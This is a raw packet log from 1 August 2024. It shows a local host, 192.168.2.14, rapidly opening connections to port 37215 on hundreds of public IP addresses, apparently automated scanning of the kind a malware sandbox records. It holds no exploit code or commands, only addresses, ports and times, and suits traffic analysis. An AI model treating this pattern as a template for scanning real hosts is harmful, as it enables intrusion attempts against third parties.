Aug 1, 2024 15:35:00.291573048 CEST	37215	35078	157.253.180.1	192.168.2.14
Aug 1, 2024 15:35:00.291630030 CEST	53612	37215	192.168.2.14	63.120.40.133
Aug 1, 2024 15:35:00.291644096 CEST	37215	39718	197.68.48.181	192.168.2.14
Aug 1, 2024 15:35:00.291688919 CEST	37215	49172	157.33.103.177	192.168.2.14
Aug 1, 2024 15:35:00.291743040 CEST	37215	40632	80.139.130.56	192.168.2.14
Aug 1, 2024 15:35:00.291752100 CEST	37215	34440	41.168.112.235	192.168.2.14
Aug 1, 2024 15:35:00.291872025 CEST	37215	37024	41.238.48.28	192.168.2.14
Aug 1, 2024 15:35:00.291944027 CEST	37215	33580	157.164.69.172	192.168.2.14
Aug 1, 2024 15:35:00.291953087 CEST	37215	53804	180.63.19.68	192.168.2.14
Aug 1, 2024 15:35:00.292047977 CEST	37215	53958	41.62.154.132	192.168.2.14
Aug 1, 2024 15:35:00.292063951 CEST	37215	44184	157.114.215.88	192.168.2.14
Aug 1, 2024 15:35:00.292074919 CEST	37215	39736	24.19.94.141	192.168.2.14
Aug 1, 2024 15:35:00.292083979 CEST	37215	36768	197.80.49.11	192.168.2.14
Aug 1, 2024 15:35:00.292143106 CEST	37215	49650	197.238.76.171	192.168.2.14
Aug 1, 2024 15:35:00.292160034 CEST	52332	37215	192.168.2.14	197.246.30.64
Aug 1, 2024 15:35:00.292207003 CEST	37215	57312	157.96.41.58	192.168.2.14
Aug 1, 2024 15:35:00.292216063 CEST	37215	44918	157.224.253.79	192.168.2.14
Aug 1, 2024 15:35:00.292311907 CEST	37215	50318	157.234.135.198	192.168.2.14
Aug 1, 2024 15:35:00.292320967 CEST	37215	40136	157.137.112.29	192.168.2.14
Aug 1, 2024 15:35:00.292344093 CEST	37215	53172	41.241.175.134	192.168.2.14
Aug 1, 2024 15:35:00.292352915 CEST	37215	57362	41.151.44.236	192.168.2.14
Aug 1, 2024 15:35:00.292361021 CEST	37215	52170	41.170.129.204	192.168.2.14
Aug 1, 2024 15:35:00.292371988 CEST	37215	34534	12.200.124.37	192.168.2.14
Aug 1, 2024 15:35:00.292380095 CEST	37215	42790	157.4.86.223	192.168.2.14
Aug 1, 2024 15:35:00.292507887 CEST	37215	39564	197.146.97.77	192.168.2.14
Aug 1, 2024 15:35:00.292516947 CEST	37215	48662	27.13.167.201	192.168.2.14
Aug 1, 2024 15:35:00.292525053 CEST	37215	55352	157.162.42.208	192.168.2.14
Aug 1, 2024 15:35:00.292534113 CEST	37215	33682	188.108.83.39	192.168.2.14
Aug 1, 2024 15:35:00.292658091 CEST	37215	33556	157.201.154.148	192.168.2.14
Aug 1, 2024 15:35:00.292668104 CEST	37215	47894	197.60.134.183	192.168.2.14
Aug 1, 2024 15:35:00.292709112 CEST	43516	37215	192.168.2.14	136.46.29.148
Aug 1, 2024 15:35:00.292937994 CEST	37215	42882	157.254.90.108	192.168.2.14
Aug 1, 2024 15:35:00.293234110 CEST	54066	37215	192.168.2.14	41.41.71.88
Aug 1, 2024 15:35:00.293749094 CEST	58120	37215	192.168.2.14	157.138.174.217
Aug 1, 2024 15:35:00.294261932 CEST	38032	37215	192.168.2.14	118.192.63.141
Aug 1, 2024 15:35:00.294348955 CEST	37215	38676	41.235.197.244	192.168.2.14
Aug 1, 2024 15:35:00.294358015 CEST	37215	52134	197.63.190.45	192.168.2.14
Aug 1, 2024 15:35:00.294388056 CEST	38676	37215	192.168.2.14	41.235.197.244
Aug 1, 2024 15:35:00.294405937 CEST	52134	37215	192.168.2.14	197.63.190.45
Aug 1, 2024 15:35:00.294835091 CEST	37215	40128	157.78.220.41	192.168.2.14
Aug 1, 2024 15:35:00.294888973 CEST	38160	37215	192.168.2.14	41.109.220.125
Aug 1, 2024 15:35:00.294898987 CEST	40128	37215	192.168.2.14	157.78.220.41
Aug 1, 2024 15:35:00.295372009 CEST	53610	37215	192.168.2.14	112.128.136.30
Aug 1, 2024 15:35:00.295686960 CEST	37215	45270	41.76.128.203	192.168.2.14
Aug 1, 2024 15:35:00.295732975 CEST	45270	37215	192.168.2.14	41.76.128.203
Aug 1, 2024 15:35:00.295900106 CEST	55546	37215	192.168.2.14	41.107.94.48
Aug 1, 2024 15:35:00.295934916 CEST	37215	47842	197.85.142.182	192.168.2.14
Aug 1, 2024 15:35:00.295977116 CEST	47842	37215	192.168.2.14	197.85.142.182
Aug 1, 2024 15:35:00.296428919 CEST	52230	37215	192.168.2.14	41.52.107.254
Aug 1, 2024 15:35:00.296489000 CEST	37215	53612	63.120.40.133	192.168.2.14
Aug 1, 2024 15:35:00.296528101 CEST	53612	37215	192.168.2.14	63.120.40.133
Aug 1, 2024 15:35:00.296962023 CEST	48760	37215	192.168.2.14	41.83.163.99
Aug 1, 2024 15:35:00.297115088 CEST	37215	52332	197.246.30.64	192.168.2.14
Aug 1, 2024 15:35:00.297157049 CEST	52332	37215	192.168.2.14	197.246.30.64
Aug 1, 2024 15:35:00.297475100 CEST	60170	37215	192.168.2.14	197.185.111.97
Aug 1, 2024 15:35:00.298003912 CEST	60736	37215	192.168.2.14	197.23.60.168
Aug 1, 2024 15:35:00.298530102 CEST	47982	37215	192.168.2.14	219.155.0.124
Aug 1, 2024 15:35:00.298598051 CEST	37215	43516	136.46.29.148	192.168.2.14
Aug 1, 2024 15:35:00.298640966 CEST	43516	37215	192.168.2.14	136.46.29.148
Aug 1, 2024 15:35:00.298667908 CEST	37215	54066	41.41.71.88	192.168.2.14
Aug 1, 2024 15:35:00.298698902 CEST	54066	37215	192.168.2.14	41.41.71.88
Aug 1, 2024 15:35:00.299052000 CEST	48540	37215	192.168.2.14	41.161.102.218
Aug 1, 2024 15:35:00.299113035 CEST	37215	58120	157.138.174.217	192.168.2.14
Aug 1, 2024 15:35:00.299145937 CEST	58120	37215	192.168.2.14	157.138.174.217
Aug 1, 2024 15:35:00.299240112 CEST	37215	38032	118.192.63.141	192.168.2.14
Aug 1, 2024 15:35:00.299277067 CEST	38032	37215	192.168.2.14	118.192.63.141
Aug 1, 2024 15:35:00.299598932 CEST	51530	37215	192.168.2.14	166.223.221.164
Aug 1, 2024 15:35:00.300122023 CEST	38604	37215	192.168.2.14	157.5.109.189
Aug 1, 2024 15:35:00.300643921 CEST	55922	37215	192.168.2.14	157.158.183.224
Aug 1, 2024 15:35:00.301172972 CEST	56008	37215	192.168.2.14	18.194.167.50
Aug 1, 2024 15:35:00.301686049 CEST	54614	37215	192.168.2.14	91.194.45.38
Aug 1, 2024 15:35:00.302227974 CEST	56658	37215	192.168.2.14	41.74.123.25
Aug 1, 2024 15:35:00.302449942 CEST	37215	38160	41.109.220.125	192.168.2.14
Aug 1, 2024 15:35:00.302460909 CEST	37215	53610	112.128.136.30	192.168.2.14
Aug 1, 2024 15:35:00.302472115 CEST	37215	55546	41.107.94.48	192.168.2.14
Aug 1, 2024 15:35:00.302495956 CEST	53610	37215	192.168.2.14	112.128.136.30
Aug 1, 2024 15:35:00.302495956 CEST	38160	37215	192.168.2.14	41.109.220.125
Aug 1, 2024 15:35:00.302506924 CEST	55546	37215	192.168.2.14	41.107.94.48
Aug 1, 2024 15:35:00.302772999 CEST	37215	52230	41.52.107.254	192.168.2.14
Aug 1, 2024 15:35:00.302812099 CEST	52230	37215	192.168.2.14	41.52.107.254
Aug 1, 2024 15:35:00.302814960 CEST	37215	48760	41.83.163.99	192.168.2.14
Aug 1, 2024 15:35:00.302831888 CEST	37215	60170	197.185.111.97	192.168.2.14
Aug 1, 2024 15:35:00.302843094 CEST	37215	60736	197.23.60.168	192.168.2.14
Aug 1, 2024 15:35:00.302850008 CEST	48760	37215	192.168.2.14	41.83.163.99
Aug 1, 2024 15:35:00.302859068 CEST	60958	37215	192.168.2.14	138.214.102.216
Aug 1, 2024 15:35:00.302870989 CEST	60170	37215	192.168.2.14	197.185.111.97
Aug 1, 2024 15:35:00.302880049 CEST	60736	37215	192.168.2.14	197.23.60.168
Aug 1, 2024 15:35:00.303431034 CEST	35164	37215	192.168.2.14	41.43.100.163
Aug 1, 2024 15:35:00.303709984 CEST	37215	47982	219.155.0.124	192.168.2.14
Aug 1, 2024 15:35:00.303744078 CEST	47982	37215	192.168.2.14	219.155.0.124
Aug 1, 2024 15:35:00.303996086 CEST	42080	37215	192.168.2.14	157.120.66.165
Aug 1, 2024 15:35:00.304234982 CEST	37215	48540	41.161.102.218	192.168.2.14
Aug 1, 2024 15:35:00.304284096 CEST	48540	37215	192.168.2.14	41.161.102.218
Aug 1, 2024 15:35:00.304414034 CEST	37215	51530	166.223.221.164	192.168.2.14
Aug 1, 2024 15:35:00.304449081 CEST	51530	37215	192.168.2.14	166.223.221.164
Aug 1, 2024 15:35:00.304584026 CEST	44458	37215	192.168.2.14	197.167.39.95
Aug 1, 2024 15:35:00.305243969 CEST	57760	37215	192.168.2.14	134.183.251.243
Aug 1, 2024 15:35:00.305440903 CEST	37215	38604	157.5.109.189	192.168.2.14
Aug 1, 2024 15:35:00.305485010 CEST	38604	37215	192.168.2.14	157.5.109.189
Aug 1, 2024 15:35:00.305562019 CEST	37215	55922	157.158.183.224	192.168.2.14
Aug 1, 2024 15:35:00.305600882 CEST	55922	37215	192.168.2.14	157.158.183.224
Aug 1, 2024 15:35:00.305859089 CEST	52548	37215	192.168.2.14	41.219.197.16
Aug 1, 2024 15:35:00.306370020 CEST	37215	56008	18.194.167.50	192.168.2.14
Aug 1, 2024 15:35:00.306415081 CEST	56008	37215	192.168.2.14	18.194.167.50
Aug 1, 2024 15:35:00.306508064 CEST	45930	37215	192.168.2.14	157.88.68.208
Aug 1, 2024 15:35:00.307116985 CEST	59124	37215	192.168.2.14	157.154.48.216
Aug 1, 2024 15:35:00.307518005 CEST	37215	54614	91.194.45.38	192.168.2.14
Aug 1, 2024 15:35:00.307564974 CEST	54614	37215	192.168.2.14	91.194.45.38
Aug 1, 2024 15:35:00.307600021 CEST	37215	56658	41.74.123.25	192.168.2.14
Aug 1, 2024 15:35:00.307640076 CEST	56658	37215	192.168.2.14	41.74.123.25
Aug 1, 2024 15:35:00.307722092 CEST	38492	37215	192.168.2.14	197.130.251.3
Aug 1, 2024 15:35:00.307749987 CEST	37215	60958	138.214.102.216	192.168.2.14
Aug 1, 2024 15:35:00.307792902 CEST	60958	37215	192.168.2.14	138.214.102.216
Aug 1, 2024 15:35:00.308331013 CEST	39722	37215	192.168.2.14	197.89.173.242
Aug 1, 2024 15:35:00.308932066 CEST	49434	37215	192.168.2.14	157.253.10.34
Aug 1, 2024 15:35:00.308940887 CEST	37215	35164	41.43.100.163	192.168.2.14
Aug 1, 2024 15:35:00.308984041 CEST	35164	37215	192.168.2.14	41.43.100.163
Aug 1, 2024 15:35:00.309515953 CEST	51284	37215	192.168.2.14	197.16.100.78
Aug 1, 2024 15:35:00.309703112 CEST	37215	42080	157.120.66.165	192.168.2.14
Aug 1, 2024 15:35:00.309740067 CEST	42080	37215	192.168.2.14	157.120.66.165
Aug 1, 2024 15:35:00.310014963 CEST	37215	44458	197.167.39.95	192.168.2.14
Aug 1, 2024 15:35:00.310025930 CEST	37215	57760	134.183.251.243	192.168.2.14
Aug 1, 2024 15:35:00.310054064 CEST	57760	37215	192.168.2.14	134.183.251.243
Aug 1, 2024 15:35:00.310058117 CEST	44458	37215	192.168.2.14	197.167.39.95
Aug 1, 2024 15:35:00.310075045 CEST	49080	37215	192.168.2.14	197.12.225.254
Aug 1, 2024 15:35:00.310590029 CEST	37215	52548	41.219.197.16	192.168.2.14
Aug 1, 2024 15:35:00.310626030 CEST	50658	37215	192.168.2.14	197.12.95.190
Aug 1, 2024 15:35:00.310630083 CEST	52548	37215	192.168.2.14	41.219.197.16
Aug 1, 2024 15:35:00.311178923 CEST	57158	37215	192.168.2.14	41.79.160.146
Aug 1, 2024 15:35:00.311315060 CEST	37215	45930	157.88.68.208	192.168.2.14
Aug 1, 2024 15:35:00.311352015 CEST	45930	37215	192.168.2.14	157.88.68.208
Aug 1, 2024 15:35:00.311722040 CEST	39040	37215	192.168.2.14	157.103.47.32
Aug 1, 2024 15:35:00.311856985 CEST	37215	59124	157.154.48.216	192.168.2.14
Aug 1, 2024 15:35:00.311897039 CEST	59124	37215	192.168.2.14	157.154.48.216
Aug 1, 2024 15:35:00.312254906 CEST	60084	37215	192.168.2.14	41.108.249.103
Aug 1, 2024 15:35:00.312525988 CEST	37215	38492	197.130.251.3	192.168.2.14
Aug 1, 2024 15:35:00.312561989 CEST	38492	37215	192.168.2.14	197.130.251.3
Aug 1, 2024 15:35:00.312824011 CEST	56866	37215	192.168.2.14	197.17.179.252
Aug 1, 2024 15:35:00.313257933 CEST	37215	39722	197.89.173.242	192.168.2.14
Aug 1, 2024 15:35:00.313303947 CEST	39722	37215	192.168.2.14	197.89.173.242
Aug 1, 2024 15:35:00.313375950 CEST	49598	37215	192.168.2.14	41.245.185.224
Aug 1, 2024 15:35:00.313806057 CEST	37215	49434	157.253.10.34	192.168.2.14
Aug 1, 2024 15:35:00.313847065 CEST	49434	37215	192.168.2.14	157.253.10.34
Aug 1, 2024 15:35:00.313927889 CEST	52470	37215	192.168.2.14	157.79.109.3
Aug 1, 2024 15:35:00.314481020 CEST	38602	37215	192.168.2.14	41.74.126.187
Aug 1, 2024 15:35:00.314579010 CEST	37215	51284	197.16.100.78	192.168.2.14
Aug 1, 2024 15:35:00.314625978 CEST	51284	37215	192.168.2.14	197.16.100.78
Aug 1, 2024 15:35:00.315049887 CEST	60786	37215	192.168.2.14	41.253.236.38
Aug 1, 2024 15:35:00.315125942 CEST	37215	49080	197.12.225.254	192.168.2.14
Aug 1, 2024 15:35:00.315164089 CEST	49080	37215	192.168.2.14	197.12.225.254
Aug 1, 2024 15:35:00.315598011 CEST	59754	37215	192.168.2.14	197.71.147.151
Aug 1, 2024 15:35:00.315666914 CEST	37215	50658	197.12.95.190	192.168.2.14
Aug 1, 2024 15:35:00.315715075 CEST	50658	37215	192.168.2.14	197.12.95.190
Aug 1, 2024 15:35:00.315996885 CEST	37215	57158	41.79.160.146	192.168.2.14
Aug 1, 2024 15:35:00.316036940 CEST	57158	37215	192.168.2.14	41.79.160.146
Aug 1, 2024 15:35:00.316148996 CEST	44178	37215	192.168.2.14	41.154.118.32
Aug 1, 2024 15:35:00.316715002 CEST	54374	37215	192.168.2.14	197.185.178.240
Aug 1, 2024 15:35:00.317296028 CEST	47958	37215	192.168.2.14	197.53.237.26
Aug 1, 2024 15:35:00.317852974 CEST	44908	37215	192.168.2.14	211.54.101.57
Aug 1, 2024 15:35:00.318399906 CEST	54016	37215	192.168.2.14	41.68.28.149
Aug 1, 2024 15:35:00.318955898 CEST	59884	37215	192.168.2.14	137.133.125.210
Aug 1, 2024 15:35:00.319492102 CEST	47192	37215	192.168.2.14	197.99.211.31
Aug 1, 2024 15:35:00.320038080 CEST	35858	37215	192.168.2.14	197.54.229.169
Aug 1, 2024 15:35:00.320611954 CEST	37582	37215	192.168.2.14	126.100.155.189
Aug 1, 2024 15:35:00.320676088 CEST	37215	39040	157.103.47.32	192.168.2.14
Aug 1, 2024 15:35:00.320713997 CEST	39040	37215	192.168.2.14	157.103.47.32
Aug 1, 2024 15:35:00.320753098 CEST	37215	60084	41.108.249.103	192.168.2.14
Aug 1, 2024 15:35:00.320787907 CEST	60084	37215	192.168.2.14	41.108.249.103
Aug 1, 2024 15:35:00.320811987 CEST	37215	56866	197.17.179.252	192.168.2.14
Aug 1, 2024 15:35:00.320826054 CEST	37215	49598	41.245.185.224	192.168.2.14
Aug 1, 2024 15:35:00.320836067 CEST	37215	52470	157.79.109.3	192.168.2.14
Aug 1, 2024 15:35:00.320843935 CEST	56866	37215	192.168.2.14	197.17.179.252
Aug 1, 2024 15:35:00.320847988 CEST	37215	38602	41.74.126.187	192.168.2.14
Aug 1, 2024 15:35:00.320858002 CEST	37215	60786	41.253.236.38	192.168.2.14
Aug 1, 2024 15:35:00.320862055 CEST	49598	37215	192.168.2.14	41.245.185.224
Aug 1, 2024 15:35:00.320873976 CEST	52470	37215	192.168.2.14	157.79.109.3
Aug 1, 2024 15:35:00.320883036 CEST	38602	37215	192.168.2.14	41.74.126.187
Aug 1, 2024 15:35:00.320892096 CEST	60786	37215	192.168.2.14	41.253.236.38
Aug 1, 2024 15:35:00.321042061 CEST	37215	59754	197.71.147.151	192.168.2.14
Aug 1, 2024 15:35:00.321085930 CEST	59754	37215	192.168.2.14	197.71.147.151
Aug 1, 2024 15:35:00.321127892 CEST	37215	44178	41.154.118.32	192.168.2.14
Aug 1, 2024 15:35:00.321166992 CEST	44178	37215	192.168.2.14	41.154.118.32
Aug 1, 2024 15:35:00.321192026 CEST	46182	37215	192.168.2.14	157.101.162.13
Aug 1, 2024 15:35:00.321748018 CEST	47902	37215	192.168.2.14	41.52.12.132
Aug 1, 2024 15:35:00.322082043 CEST	37215	54374	197.185.178.240	192.168.2.14
Aug 1, 2024 15:35:00.322122097 CEST	54374	37215	192.168.2.14	197.185.178.240
Aug 1, 2024 15:35:00.322607040 CEST	34372	37215	192.168.2.14	197.121.155.108
Aug 1, 2024 15:35:00.322787046 CEST	37215	47958	197.53.237.26	192.168.2.14
Aug 1, 2024 15:35:00.322824955 CEST	47958	37215	192.168.2.14	197.53.237.26
Aug 1, 2024 15:35:00.323075056 CEST	37215	44908	211.54.101.57	192.168.2.14
Aug 1, 2024 15:35:00.323107004 CEST	44908	37215	192.168.2.14	211.54.101.57
Aug 1, 2024 15:35:00.323163986 CEST	39218	37215	192.168.2.14	166.169.83.193
Aug 1, 2024 15:35:00.323333979 CEST	37215	54016	41.68.28.149	192.168.2.14
Aug 1, 2024 15:35:00.323374033 CEST	54016	37215	192.168.2.14	41.68.28.149
Aug 1, 2024 15:35:00.323700905 CEST	44948	37215	192.168.2.14	197.11.129.185
Aug 1, 2024 15:35:00.323863029 CEST	37215	59884	137.133.125.210	192.168.2.14
Aug 1, 2024 15:35:00.323913097 CEST	59884	37215	192.168.2.14	137.133.125.210
Aug 1, 2024 15:35:00.324268103 CEST	43362	37215	192.168.2.14	58.156.129.188
Aug 1, 2024 15:35:00.324430943 CEST	37215	47192	197.99.211.31	192.168.2.14
Aug 1, 2024 15:35:00.324470997 CEST	47192	37215	192.168.2.14	197.99.211.31
Aug 1, 2024 15:35:00.324816942 CEST	59596	37215	192.168.2.14	205.168.208.22
Aug 1, 2024 15:35:00.325093985 CEST	37215	35858	197.54.229.169	192.168.2.14
Aug 1, 2024 15:35:00.325134993 CEST	35858	37215	192.168.2.14	197.54.229.169
Aug 1, 2024 15:35:00.325376987 CEST	42992	37215	192.168.2.14	78.144.226.163
Aug 1, 2024 15:35:00.325937033 CEST	42048	37215	192.168.2.14	197.80.128.182
Aug 1, 2024 15:35:00.326519966 CEST	41560	37215	192.168.2.14	157.52.248.164
Aug 1, 2024 15:35:00.327052116 CEST	33866	37215	192.168.2.14	157.118.9.35
Aug 1, 2024 15:35:00.327617884 CEST	37484	37215	192.168.2.14	157.32.148.252
Aug 1, 2024 15:35:00.328166008 CEST	55368	37215	192.168.2.14	157.226.171.207
Aug 1, 2024 15:35:00.328722954 CEST	53132	37215	192.168.2.14	41.76.2.129
Aug 1, 2024 15:35:00.329257011 CEST	40360	37215	192.168.2.14	197.137.115.65
Aug 1, 2024 15:35:00.329791069 CEST	56092	37215	192.168.2.14	157.113.145.111
Aug 1, 2024 15:35:00.330313921 CEST	60978	37215	192.168.2.14	197.170.85.99
Aug 1, 2024 15:35:00.330843925 CEST	47156	37215	192.168.2.14	105.165.63.7
Aug 1, 2024 15:35:00.331377983 CEST	47762	37215	192.168.2.14	198.104.201.44
Aug 1, 2024 15:35:00.331916094 CEST	40986	37215	192.168.2.14	217.249.197.83
Aug 1, 2024 15:35:00.332458973 CEST	56016	37215	192.168.2.14	107.13.231.246
Aug 1, 2024 15:35:00.333017111 CEST	46170	37215	192.168.2.14	41.61.168.163
Aug 1, 2024 15:35:00.333549023 CEST	51884	37215	192.168.2.14	41.200.234.185
Aug 1, 2024 15:35:00.334090948 CEST	35712	37215	192.168.2.14	157.254.97.58
Aug 1, 2024 15:35:00.334635019 CEST	39480	37215	192.168.2.14	41.141.133.53
Aug 1, 2024 15:35:00.335185051 CEST	54940	37215	192.168.2.14	41.172.181.125
Aug 1, 2024 15:35:00.335716009 CEST	37734	37215	192.168.2.14	197.6.51.90
Aug 1, 2024 15:35:00.336147070 CEST	37215	37582	126.100.155.189	192.168.2.14
Aug 1, 2024 15:35:00.336157084 CEST	37215	46182	157.101.162.13	192.168.2.14
Aug 1, 2024 15:35:00.336165905 CEST	37215	47902	41.52.12.132	192.168.2.14
Aug 1, 2024 15:35:00.336175919 CEST	37215	34372	197.121.155.108	192.168.2.14
Aug 1, 2024 15:35:00.336188078 CEST	37582	37215	192.168.2.14	126.100.155.189
Aug 1, 2024 15:35:00.336203098 CEST	46182	37215	192.168.2.14	157.101.162.13
Aug 1, 2024 15:35:00.336203098 CEST	47902	37215	192.168.2.14	41.52.12.132
Aug 1, 2024 15:35:00.336206913 CEST	34372	37215	192.168.2.14	197.121.155.108
Aug 1, 2024 15:35:00.336245060 CEST	37215	39218	166.169.83.193	192.168.2.14
Aug 1, 2024 15:35:00.336282969 CEST	39218	37215	192.168.2.14	166.169.83.193
Aug 1, 2024 15:35:00.336286068 CEST	44912	37215	192.168.2.14	60.130.244.9
Aug 1, 2024 15:35:00.336450100 CEST	37215	34534	12.200.124.37	192.168.2.14
Aug 1, 2024 15:35:00.336458921 CEST	37215	52170	41.170.129.204	192.168.2.14
Aug 1, 2024 15:35:00.336467981 CEST	37215	57362	41.151.44.236	192.168.2.14
Aug 1, 2024 15:35:00.336477041 CEST	37215	53172	41.241.175.134	192.168.2.14
Aug 1, 2024 15:35:00.336493015 CEST	37215	40136	157.137.112.29	192.168.2.14
Aug 1, 2024 15:35:00.336503029 CEST	37215	50318	157.234.135.198	192.168.2.14
Aug 1, 2024 15:35:00.336519003 CEST	37215	44918	157.224.253.79	192.168.2.14
Aug 1, 2024 15:35:00.336528063 CEST	37215	57312	157.96.41.58	192.168.2.14
Aug 1, 2024 15:35:00.336535931 CEST	37215	49650	197.238.76.171	192.168.2.14
Aug 1, 2024 15:35:00.336550951 CEST	37215	36768	197.80.49.11	192.168.2.14
Aug 1, 2024 15:35:00.336560011 CEST	37215	39736	24.19.94.141	192.168.2.14
Aug 1, 2024 15:35:00.336569071 CEST	37215	44184	157.114.215.88	192.168.2.14
Aug 1, 2024 15:35:00.336576939 CEST	37215	53958	41.62.154.132	192.168.2.14
Aug 1, 2024 15:35:00.336585045 CEST	37215	53804	180.63.19.68	192.168.2.14
Aug 1, 2024 15:35:00.336592913 CEST	37215	33580	157.164.69.172	192.168.2.14
Aug 1, 2024 15:35:00.336606979 CEST	37215	37024	41.238.48.28	192.168.2.14
Aug 1, 2024 15:35:00.336616039 CEST	37215	34440	41.168.112.235	192.168.2.14
Aug 1, 2024 15:35:00.336623907 CEST	37215	40632	80.139.130.56	192.168.2.14
Aug 1, 2024 15:35:00.336632967 CEST	37215	49172	157.33.103.177	192.168.2.14
Aug 1, 2024 15:35:00.336641073 CEST	37215	39718	197.68.48.181	192.168.2.14
Aug 1, 2024 15:35:00.336649895 CEST	37215	35078	157.253.180.1	192.168.2.14
Aug 1, 2024 15:35:00.336658001 CEST	37215	42584	157.36.246.84	192.168.2.14
Aug 1, 2024 15:35:00.336667061 CEST	37215	56196	197.206.36.187	192.168.2.14
Aug 1, 2024 15:35:00.336674929 CEST	37215	42080	126.193.242.217	192.168.2.14
Aug 1, 2024 15:35:00.336683035 CEST	37215	35708	41.217.127.50	192.168.2.14
Aug 1, 2024 15:35:00.336690903 CEST	37215	57654	157.240.220.84	192.168.2.14
Aug 1, 2024 15:35:00.336699009 CEST	37215	34028	125.161.255.108	192.168.2.14
Aug 1, 2024 15:35:00.336707115 CEST	37215	41494	157.196.26.75	192.168.2.14
Aug 1, 2024 15:35:00.336715937 CEST	37215	54352	41.193.83.65	192.168.2.14
Aug 1, 2024 15:35:00.336751938 CEST	37215	47586	41.98.161.227	192.168.2.14
Aug 1, 2024 15:35:00.336761951 CEST	37215	33550	197.159.39.86	192.168.2.14
Aug 1, 2024 15:35:00.336770058 CEST	37215	43190	38.125.81.98	192.168.2.14
Aug 1, 2024 15:35:00.336779118 CEST	37215	35198	157.182.24.105	192.168.2.14
Aug 1, 2024 15:35:00.336786985 CEST	37215	36370	157.108.237.235	192.168.2.14
Aug 1, 2024 15:35:00.336795092 CEST	37215	49340	157.213.113.199	192.168.2.14
Aug 1, 2024 15:35:00.336805105 CEST	37215	39342	197.102.197.145	192.168.2.14
Aug 1, 2024 15:35:00.336812973 CEST	37215	57498	135.28.2.66	192.168.2.14
Aug 1, 2024 15:35:00.336831093 CEST	37215	43508	84.232.124.112	192.168.2.14
Aug 1, 2024 15:35:00.336839914 CEST	37215	33120	157.154.49.44	192.168.2.14
Aug 1, 2024 15:35:00.336848021 CEST	37215	54792	157.124.63.138	192.168.2.14
Aug 1, 2024 15:35:00.336858988 CEST	37215	39886	31.68.35.109	192.168.2.14
Aug 1, 2024 15:35:00.336872101 CEST	37215	60398	41.164.193.236	192.168.2.14
Aug 1, 2024 15:35:00.336883068 CEST	57490	37215	192.168.2.14	197.58.10.39
Aug 1, 2024 15:35:00.336894035 CEST	37215	50164	41.100.224.123	192.168.2.14
Aug 1, 2024 15:35:00.336903095 CEST	37215	46518	41.24.101.6	192.168.2.14
Aug 1, 2024 15:35:00.336910963 CEST	37215	34356	20.52.179.216	192.168.2.14
Aug 1, 2024 15:35:00.336921930 CEST	37215	57020	197.171.207.212	192.168.2.14
Aug 1, 2024 15:35:00.336936951 CEST	37215	46654	119.19.55.36	192.168.2.14
Aug 1, 2024 15:35:00.336946011 CEST	37215	50658	41.88.37.150	192.168.2.14
Aug 1, 2024 15:35:00.336952925 CEST	37215	57486	191.11.246.174	192.168.2.14
Aug 1, 2024 15:35:00.336962938 CEST	37215	38882	157.37.144.15	192.168.2.14
Aug 1, 2024 15:35:00.336996078 CEST	37215	40058	41.164.149.143	192.168.2.14
Aug 1, 2024 15:35:00.337012053 CEST	37215	38258	41.20.51.254	192.168.2.14
Aug 1, 2024 15:35:00.337019920 CEST	37215	59080	197.104.209.122	192.168.2.14
Aug 1, 2024 15:35:00.337029934 CEST	37215	59418	90.60.116.72	192.168.2.14
Aug 1, 2024 15:35:00.337043047 CEST	37215	34878	197.113.68.40	192.168.2.14
Aug 1, 2024 15:35:00.337050915 CEST	37215	48510	107.219.166.209	192.168.2.14
Aug 1, 2024 15:35:00.337059021 CEST	37215	33676	41.235.2.64	192.168.2.14
Aug 1, 2024 15:35:00.337080002 CEST	37215	48870	157.12.7.143	192.168.2.14
Aug 1, 2024 15:35:00.337089062 CEST	37215	48854	157.111.195.69	192.168.2.14
Aug 1, 2024 15:35:00.337096930 CEST	37215	46078	197.189.16.221	192.168.2.14
Aug 1, 2024 15:35:00.337105036 CEST	37215	51006	41.141.59.33	192.168.2.14
Aug 1, 2024 15:35:00.337114096 CEST	37215	37190	157.4.161.135	192.168.2.14
Aug 1, 2024 15:35:00.337121964 CEST	37215	53234	41.92.243.160	192.168.2.14
Aug 1, 2024 15:35:00.337136984 CEST	37215	47408	197.206.69.135	192.168.2.14
Aug 1, 2024 15:35:00.337146044 CEST	37215	44700	41.108.171.23	192.168.2.14
Aug 1, 2024 15:35:00.337152958 CEST	37215	58256	197.202.23.183	192.168.2.14
Aug 1, 2024 15:35:00.337162018 CEST	37215	48010	97.225.37.49	192.168.2.14
Aug 1, 2024 15:35:00.337168932 CEST	37215	59686	197.142.142.176	192.168.2.14
Aug 1, 2024 15:35:00.337177992 CEST	37215	57064	41.181.222.122	192.168.2.14
Aug 1, 2024 15:35:00.337194920 CEST	37215	50214	111.109.25.218	192.168.2.14
Aug 1, 2024 15:35:00.337213039 CEST	37215	51034	157.80.75.49	192.168.2.14
Aug 1, 2024 15:35:00.337229013 CEST	37215	41082	197.207.234.50	192.168.2.14
Aug 1, 2024 15:35:00.337238073 CEST	37215	37984	41.175.200.51	192.168.2.14
Aug 1, 2024 15:35:00.337248087 CEST	37215	45806	157.141.178.189	192.168.2.14
Aug 1, 2024 15:35:00.337255955 CEST	37215	60676	157.26.227.71	192.168.2.14
Aug 1, 2024 15:35:00.337265015 CEST	37215	49258	207.169.8.62	192.168.2.14
Aug 1, 2024 15:35:00.337272882 CEST	37215	40768	41.154.100.136	192.168.2.14
Aug 1, 2024 15:35:00.337289095 CEST	37215	56584	197.232.173.134	192.168.2.14
Aug 1, 2024 15:35:00.337310076 CEST	37215	46960	41.19.193.117	192.168.2.14
Aug 1, 2024 15:35:00.337320089 CEST	37215	59212	41.47.38.45	192.168.2.14
Aug 1, 2024 15:35:00.337327003 CEST	37215	42758	197.78.203.22	192.168.2.14
Aug 1, 2024 15:35:00.337336063 CEST	37215	54680	9.190.232.44	192.168.2.14
Aug 1, 2024 15:35:00.337352037 CEST	37215	57066	197.50.190.2	192.168.2.14
Aug 1, 2024 15:35:00.337359905 CEST	37215	48004	197.150.163.156	192.168.2.14
Aug 1, 2024 15:35:00.337377071 CEST	37215	34282	157.202.198.155	192.168.2.14
Aug 1, 2024 15:35:00.337385893 CEST	37215	38238	157.176.18.12	192.168.2.14
Aug 1, 2024 15:35:00.337393999 CEST	37215	47098	157.78.224.146	192.168.2.14
Aug 1, 2024 15:35:00.337402105 CEST	37215	38070	44.219.0.116	192.168.2.14
Aug 1, 2024 15:35:00.337424040 CEST	37215	46312	57.81.164.95	192.168.2.14
Aug 1, 2024 15:35:00.337433100 CEST	37215	56740	41.59.251.151	192.168.2.14
Aug 1, 2024 15:35:00.337440968 CEST	37215	60006	157.154.25.224	192.168.2.14
